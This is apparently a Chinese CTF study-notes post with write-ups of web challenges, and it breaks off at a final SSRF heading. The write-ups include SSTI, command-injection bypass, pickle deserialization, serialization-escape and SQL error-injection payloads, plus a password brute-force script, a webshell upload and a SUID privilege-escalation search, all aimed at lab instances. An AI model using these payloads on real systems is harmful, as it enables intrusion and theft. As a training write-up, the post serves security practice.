0%

刷题笔记

前言

依旧在buu平台刷题,依旧猛攻

鼠鼠猛攻是什么意思_鼠鼠猛攻的意思_单词乎

web

[GYCTF2020]FlaskApp

这个一个编码一个解码,当解码内容出错时就会报错

image-20260314212851711

解码的内容会经过waf过滤,然后再模板渲染,尝试{{7*7}}被拦截了,14成功渲染,后面经过测试,过滤import,os,eval还有flag,*这些关键字。看wp学到一种,paylaod

1
2
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

1
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

这里用的时listdir,不用再拼接popen,命令简短一点

image-20260314215753159

读取一下flag文件

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

还有一种是pin码解法这里就不写了,参考[BUUCTF-WEB 【GYCTF2020】FlaskApp 1 | Fan的小酒馆](https://fanygit.github.io/2021/04/19/[GYCTF2020]FlaskApp 1/)

[FBCTF2019]RCEService

考察的时rce,传参时用json传的,是但是过滤了很多,后来看wp才知道这题目应该是会给题目源代码的,在buu这个平台没有给,题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>

看看这个waf是给人绕过的码,直接绕是不行的,这里使用的贪婪匹配,可以使用换行符%0a绕过,没有修饰符m这个是不匹配换行符

可以使用%0a绕过waf,具体可以参考[FBCTF 2019]rceservice 详细题解 - 技术栈讲的很详细

1
{%0a"cmd":"ls /"%0a}

image-20260315162201202

这里定义了

1
putenv('PATH=/home/rceservice/jail');

这是设置了环境变量,无法使用命令cat,find等命令,但是可以通过绝对路径调用,看到根目录下没有flag,找一下flag

1
{%0A"cmd":"/usr/bin/find+/+-name+flag"%0A}

image-20260315162701952

image-20260315162748326

还有就是PCRE回溯机制有一个回溯限制次数——大约100 万次,当回溯超出这个次数,还没吐完的字符串就可以逃逸绕过匹配

exp

1
2
3
4
import requests
payload = '{"cmd":"ls /", "abc":"'+'a'*1000000+'"}'
res = requests.post("http://612d14e7-c6f0-4685-bbce-ac0da7e28a34.node5.buuoj.cn:81/",data = {"cmd":payload})
print(res.text)

image-20260315164414683

[Zer0pts2020]Can you guess it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

flag在config.php文件中,这里直接靠猜是才不对的,因为每次请求储存的secret都是改变的,关键在

1
highlight_file(basename($_SERVER['PHP_SELF']));

$_SERVER['PHP_SELF'] 是 PHP 超全局变量 $_SERVER 中的一个核心项,它表示当前执行脚本的文件名(包含从网站根目录开始的路径)

比如/index.php/1.php,PHP_SELF就是1.php。我们要读取config,php,然是还有waf,不能以config.php结尾,这里利用的是basename() 在处理非 ASCII 可打印字符(例如 URL 编码大于 %7f 的字符)时,由于字符集或 Locale 识别问题,可能会直接丢弃这些无法识别的字符,最常见的是%ff,payload

1
/index.php/config.php/%ff?source=1

以%ff结尾绕过waf,然后又被basename丢弃成功读取文件

image-20260315170048048

这里尝试购买抓包看看

image-20260315171606068

image-20260315171621964

session储存的是购买记录还有余额,这里就可以构造恶意session

1
{"money": 10000000, "history": ["Yummy pepparkaka", "Yummy pepparkaka","Flag Cookie"]}

image-20260315171845188

[CSCCTF 2019 Qual]FlaskLight

image-20260315172707028

存在ssti,然后后面的流程很简单,就是过滤了一个globals,

image-20260315175627637

flag在flasklight/coomme_geeeett_youur_flek,或者fenjing一把梭

image-20260315173332683

[软件系统安全赛2026 ]thymeleaf

题目来自青岑网安 | QingCen CTF

登入进入是一个登入界面,附件给出代码逻辑,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.ctf.prng.controller;

import com.ctf.prng.service.RandomService;
import com.ctf.prng.service.UserService;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class HomeController {
private final UserService userService;
private final RandomService randomService;

@Autowired
public HomeController(UserService userService, RandomService randomService) {
this.userService = userService;
this.randomService = randomService;
}

@GetMapping({"/"})
public String home(HttpSession session, Model model) {
String username = (String)session.getAttribute("username");
model.addAttribute("username", username != null ? username : "guest");
model.addAttribute("isAdmin", "admin".equals(username));
return "index";
}

@GetMapping({"/register"})
public String registerForm() {
return "register";
}

@PostMapping({"/register"})
public String register(@RequestParam String username, Model model) {
if (username != null && !username.trim().isEmpty()) {
String trimmedUsername = username.trim();
if (trimmedUsername.length() >= 2 && trimmedUsername.length() <= 20) {
if (!trimmedUsername.matches("^[a-zA-Z0-9]+$")) {
model.addAttribute("error", "用户名只能包含大小写字母和数字");
return "register";
} else {
try {
long password = this.userService.registerUser(trimmedUsername);
model.addAttribute("username", trimmedUsername);
model.addAttribute("password", String.format("%016d", password % 10000000000000000L));
return "register_success";
} catch (IllegalArgumentException e) {
model.addAttribute("error", e.getMessage());
return "register";
}
}
} else {
model.addAttribute("error", "用户名长度应为2-20个字符");
return "register";
}
} else {
model.addAttribute("error", "用户名不能为空");
return "register";
}
}

@GetMapping({"/login"})
public String loginForm() {
return "login";
}

@PostMapping({"/dologin"})
public String login(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) {
if (username != null && !username.trim().isEmpty()) {
String trimmedUsername = username.trim();
if (trimmedUsername.length() >= 2 && trimmedUsername.length() <= 20) {
if (!trimmedUsername.matches("^[a-zA-Z0-9]+$")) {
model.addAttribute("error", "Invalid username or password");
return "login";
} else {
boolean authenticated = this.userService.authenticate(trimmedUsername, password);
if (authenticated) {
session.setAttribute("username", trimmedUsername);
return "redirect:/";
} else {
model.addAttribute("error", "Invalid username or password");
return "login";
}
}
} else {
model.addAttribute("error", "Invalid username or password");
return "login";
}
} else {
model.addAttribute("error", "Invalid username or password");
return "login";
}
}

@GetMapping({"/logout"})
public String logout(HttpSession session) {
session.invalidate();
return "redirect:/";
}

@GetMapping({"/admin"})
public String adminPage(HttpSession session, @RequestParam(required = false,defaultValue = "main") String section, Model model) {
String username = (String)session.getAttribute("username");
if (!"admin".equals(username)) {
return "redirect:/";
} else {
String templatePath = "admin :: " + section;
return templatePath;
}
}
}

我们要想办法获得admin权限,就要获得admin的密码,这里主要看一下密码的生成逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.ctf.prng.service;

import com.ctf.prng.model.User;
import com.ctf.prng.repository.UserRepository;
import java.security.SecureRandom;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;

@Service
public class RandomService {
private final PseudoRandomGenerator prng;
private final UserRepository userRepository;
private final PasswordEncoder passwordEncoder;
private long adminPassword;
private final long seed;

@Autowired
public RandomService(UserRepository userRepository) {
this.userRepository = userRepository;
this.passwordEncoder = new BCryptPasswordEncoder();
SecureRandom random = new SecureRandom();
long rawSeed = (long)random.nextInt() << 32 | (long)random.nextInt() & 4294967295L;
this.seed = rawSeed & 281474976710655L;
this.prng = new PseudoRandomGenerator(this.seed);

for(int i = 0; i < 9; ++i) {
this.prng.next();
}

this.adminPassword = this.prng.next();
}

@PostConstruct
public void initAdminUser() {
this.userRepository.deleteAll();
String plainPassword = String.format("%016d", this.adminPassword % 10000000000000000L);
String hashedPassword = this.passwordEncoder.encode(plainPassword);
User admin = new User("admin", hashedPassword, "ADMIN");
this.userRepository.save(admin);

for(int i = 1; i <= 5; ++i) {
String username = "user" + i;
long userPlainPassword = this.prng.next();
String userPasswordStr = String.format("%016d", userPlainPassword % 10000000000000000L);
String userHashedPassword = this.passwordEncoder.encode(userPasswordStr);
User user = new User(username, userHashedPassword, "USER");
this.userRepository.save(user);
}

}

public long nextRandom() {
return this.prng.next();
}

public long getCurrentState() {
return this.prng.getState();
}

public long getAdminPassword() {
return this.adminPassword;
}

public long getSeed() {
return this.seed;
}

public boolean matches(String plainPassword, String hashedPassword) {
return this.passwordEncoder.matches(plainPassword, hashedPassword);
}

public String encodePassword(String plainPassword) {
return this.passwordEncoder.encode(plainPassword);
}
}

代码逻辑就是系统启动时,通过SecureRandom生成一个 64 位随机数,截断为 48 位作为 PRNG 的初始种子(seed);初始化 PRNG 实例后,先调用 9 次next()(预热,丢弃前 9 个随机数),然后admin 密码:PRNG 第 10 次next()的结果(48 位长整型);user1-user5 密码:PRNG 第 11~15 次next()的连续结果;注册用户密码:PRNG 第 16 次及以后next()的连续结果。因为初始seed()值不变,我们只要新注册一个用户,得到密码。exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests


url = "http://docker.qingcen.net:32915/"
observed_password = "0173189343297519"

MASK = (1 << 48) - 1

def prev_states(cur: int):
upper = (cur & ((1 << 47) - 1)) << 1
out = []
for b0 in (0, 1):
prev = upper | b0
fb = ((prev >> 47) ^ (prev >> 46) ^ (prev >> 43) ^ (prev >> 42)) & 1
if fb == ((cur >> 47) & 1):
out.append(prev)
return out

cur = int(observed_password)
states = {cur}
for _ in range(6):
new_states = set()
for s in states:
new_states.update(prev_states(s))
states = new_states

result = sorted(f"{s % 10**16:016d}" for s in states)
for i in result:
data = {
"username": "admin",
"password": i
}
print(f"testing password:{i}")
r = requests.post(url+"dologin", data=data,allow_redirects=False)
if r.status_code == 302:
print(f"[+]find password:{i}")

image-20260318180417161

然后看admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@GetMapping({"/admin"})  // 1. 映射GET请求到/admin路径(支持数组写法,可扩展多个路径)
public String adminPage(
HttpSession session, // 2. 获取用户会话(存储登录状态)
@RequestParam(required = false,defaultValue = "main") String section, // 3. 可选请求参数section,默认值"main"
Model model // 4. 向页面传递数据的模型(此处未使用)
) {
// 5. 从会话中获取已登录的用户名(登录时存入session)
String username = (String)session.getAttribute("username");

// 6. 核心权限校验:仅允许admin用户访问
if (!"admin".equals(username)) {
return "redirect:/"; // 非admin用户 → 重定向到首页
} else {
// 7. 拼接Thymeleaf模板片段路径(模板引擎语法)
String templatePath = "admin :: " + section;
return templatePath; // 返回模板片段,渲染对应内容
}
}

这里存在ssti,用的是Thymeleaf模板

image-20260318185153949

这里不设置section是默认是main。

image-20260318185509083

::main (片段选择器 Fragment Selector):这是触发 SSTI 的核心。当 Thymeleaf 遇到包含 :: 的字符串时,会认为你要动态加载一个模板片段。为了解析出具体的模板名,它会去计算前面拼接的内容,从而触发后面的表达式执行

image-20260318204254597

这里的版本是3.0.15,直接禁用了对类的直接引用,还有new这里试很久才知道都不行,没想到忽略参考版本了,这里参考大佬payload

image-20260318211935240

这里是ctf权限,尝试提权find / -user root -perm -4000 -print 2>/dev/null

image-20260318212102293

使用7z提取flag

[0CTF 2016]piapiapia

扫描目录有一个www.zip,下载下来看源码,主要是在update.php.还有profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
	public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}

同时还有一个waf,会把恶意字符替换为hacker,看附件知道flag在config.php,在profile.php中,存在文件读取,我们最有要读取的时config.php。在这个waf中,可以用where,替换为hacker后就会增加一个字符,我要构造的paylaod为

";}s:5:"photo";s:10:"config.php";}

1
2
3
4
5
6
7
8
9
<?php
$profile = array(
'phone' => '12345678901',
'email' => '1@1.com',
'nickname' => '123',
'photo' => 'upload/804f743824c0451b2f60d81b63b6a900'
);
echo serialize($profile);
?>

反序列化后

1
2

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:7:"1@1.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

这里的nickname有限制,长度不能大于10,可以使用数组绕过,要逃逸34个字符,就要用到34个where

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

image-20260324121955964

这里用数组绕过。

image-20260324122015798

image-20260324122034272

[MRCTF2020]套娃

1
2
3
4
5
6
7
8
9
10
11
12

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

主要是有两个waf,一个参数名为b_u_p_t,但是不能有_,参数值不为23333,但是要匹配2333,可以使用非法传参,题目php版本较低,可以使用b.u.p.t,php解析是会把.解析为_,然后参数值末尾加%0a,默认不匹配换行,image-20260324144945408

image-20260324145357437

提示了ip,下面还有一段JSfuck编码,解码后是alert("post me Merak"),post传参

image-20260324145527933

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

php协议协议写入文件内容,然后添加ip,逆向change逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// 逆向函数:输入你想读取的文件名,输出 GET 参数的 file 值
function reverse_change($target_str){
$len = strlen($target_str);
$original = '';

// 逆向计算每一位:原字符 = 目标字符ASCII - i*2
for($i=0; $i<$len; $i++){
$orig_ascii = ord($target_str[$i]) - $i*2;
$original .= chr($orig_ascii);
}

// 最后 base64 编码 → 就是最终 payload
return base64_encode($original);
}

// ============== 使用方法 ==============
// 你想读取什么文件,就改这里
$target = "flag.php";

// 输出结果
echo "目标文件:".$target."<br>";
echo "GET 参数 file 的值:".reverse_change($target);
?>

image-20260324151335410

[SUCTF 2019]Pythonginx

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

这一题主要是利用第三个if判断,

1
2
3
4
5
6
urllib.parse.urlsplit(url):这个函数将一个 URL 解析为以下五个部分:
scheme:URL 的协议部分,如 http, https 等。
netloc:URL 的网络位置部分,通常是主机名和端口号的组合。
path:URL 的路径部分。
query:URL 的查询参数部分。
fragment:URL 的片段部分,即在页面内部定位用的锚点

国际化域名应用,国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

主要就是用℆这个字符,经过idna编码和utf-8解码后就是c/u,nighx的文件配置

1
2
3
4
5
6
7
8
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

正好可以利用这个字符进行ssrf

[WUSTCTF2020]CV Maker

注册账号然后登入进去,有一个更换头像,传个🐎上去。要带个图片头

image-20260324155222465

[红明谷CTF 2021]write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

两个参数,pwd显示路径,upload上传文件内容,文件内容有waf。可以使用短标签+反引号进行rce

1
<?=`ls%09/`?>

image-20260324161420978

1
<?=`cat%09/f*`?>

image-20260324161520283

0xGame2025-Week1

Lemon

这题目紧跟潮流啊,看一下源码

image-20260325145054990

0xGame{Welc0me_t0_0xG@me_2025_Web!!!}

Lemon_RevEnge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Dst():
def __init__(self):
pass

Game0x = Dst()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), Game0x)
return render_template("index.html", Game0x=Game0x)

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "Not Found", 404
return render_template(path)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000)





这里主要是一个利用原型链污染进行目录穿越,Flask 的 render_template(path)底层用的是JInjia2模板,这里有一个防止目录穿越的保护机制,大概逻辑就是

1
2
3
# Jinja2 内部简化后的检查
if os.path.pardir in path or ".." in path: # 或者用 split 等方式检测
# 拒绝访问

正常情况下,os.path.pardir 的值就是字符串 “..”,所以路径中只要出现 .. 就会被拦截,这里利用原型链污染修改这个值就可以完成目录穿越

1
2
3
4
5
6
7
8
9
10
11
{
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}

修改后在访问../../flag就可以得到flag

0xGame{Welcome_to_Easy_Pollute~}

[CISCN2019 华北赛区 Day1 Web2]ikun

19年的时候哥哥正火的时候

image-20260325153008878

这里让找lv6,怎么这么熟悉,真polar春季赛那个coke好像啊,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

# 把这里改成你当前题目的实际域名(带 http:// 或 https://)
base_url = "http://23e3c507-fcd3-4a8e-b655-af4203271078.node5.buuoj.cn:81/shop?page=" # 示例:http://xxxx.node3.buuoj.cn/shop?page=

found = False
for i in range(1, 2000): # 一般跑到 2000 页就够了
url = base_url + str(i)
try:
r = requests.get(url, timeout=5)
if 'lv6.png' in r.text:
print(f"\n✅ 找到 LV6 商品啦!在第 {i} 页")
print(f"直接访问链接:{url}")
found = True
break
except:
pass

if i % 50 == 0:
print(f"正在检查第 {i} 页...")

if not found:
print("在 2000 页内没有找到 lv6.png,可能题目环境变了或地址不对")

image-20260325153744747

image-20260325153823220

在第180页,这跟那个coke差不多只不过主人公变了,修改购买参数即可

image-20260325154614237

image-20260325190951277

依旧是jwt验证,那个密码是coke,这个密码就是ikun,尝试可不对,爆破一下

image-20260325191310114

修改一下jwt

image-20260325191420078

看源码有个zip

image-20260325191619511

下载压缩包后得到源码,在models.py有

image-20260325192016613

在Admin.py中有一个

1
pickle.loads(urllib.unquote(self.get_argument('become')))

存在pickle反序列化漏洞,这里要用到python2

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

image-20260325194112695

[RCTF2015]EasySQL

1
2

<form action="register.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p>email: <input type="text" name="email" /></p><input type="submit" value="Submit" /></form><script>alert('invalid string!')</script>

这里无论这测试有waf,在邮箱哪里不能用@,然后注册时发现admin账户已经存在,随便注册一个用户进入,发现有改密码的功能

image-20260325200355143

这里是过根据username修改的密码

1
update password='xxxxx' where username="xxx"

这里可以构造用户名为amdin"#闭合单引号然后注释到后面的语句,然后修改admin的密码的登入

image-20260325200852990

看了一圈没有flag,接下来就要进行二次注入,还是利用到修改密码的那个逻辑,拼接查询语句,刚才注册时知道有waf,fuzz一下

image-20260325201704942

这些都是过滤了。图示只是一部分,修改密码是没有回显信息,考虑报错注入

1
11"&&(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20260325202207436

1
11"&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

image-20260325203616601

1
11"&&(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#

image-20260325205559694

这里看到最后的her应该是here,但是最多只能显示32位,使用reverse()函数将报错信息进行倒置

1
11"&&(updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1))#

image-20260325205920522

flag在real_flag_1s_here

1
11"&&(updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)),0x7e),1))#

image-20260325210849586

1
11"&&(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

image-20260325211140225

这里显示不完全,向后读取一下,但是substr被过滤了

1
11"&&(updatexml(1,concat(0x7e,revrese((select(group_concat(real_flag_1s_here))from(users))),0x7e),1))#

还是倒置输出

image-20260325212038092

再找前面一段

1
11"&&(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

image-20260325212240936

image-20260325212634378

两段拼一下

1
flag{8ed605a7-54cc-4d09-932a-0e1e8315d68c}

好题👍👍👍

[GWCTF 2019]枯燥的抽奖

用给的字符串输入,然后会显示代码

image-20260326142508171

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

这里使用的mt_srand函数,这个生成的随机数是伪随机数,只要知道种子,就可以进行预测,使用php_mt_seed爆破种子,想把数据换成规范格式

1
2
3
4
5
6
7
8
9
10
11
12
13
# generate_input.py
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

# ←←← 这里改成你页面上实际看到的 10 个字符!!!
prefix = "AbCdEfGhIj" # 示例,务必改成真实的

print("正在生成 php_mt_seed 输入...")
for c in prefix:
if c not in chars:
print(f"错误字符: {c}")
exit(1)
idx = chars.index(c)
print(f"{idx} {idx} 0 61")

使用工具爆破种子

image-20260326144138979

生成完整字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// 你的种子
mt_srand(421601267);

// 字符集(和题目完全一致)
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';

// 生成完整20位
for ($i=0; $i<20; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1)-1), 1);
}

// 输出最终答案!
echo "✅ 完整20位字符串:".$str."\n";
?>

image-20260326144238536

image-20260326144252482

[HITCON 2017]SSRFme

1
2
3
4
5
6
7
8
9
10
11
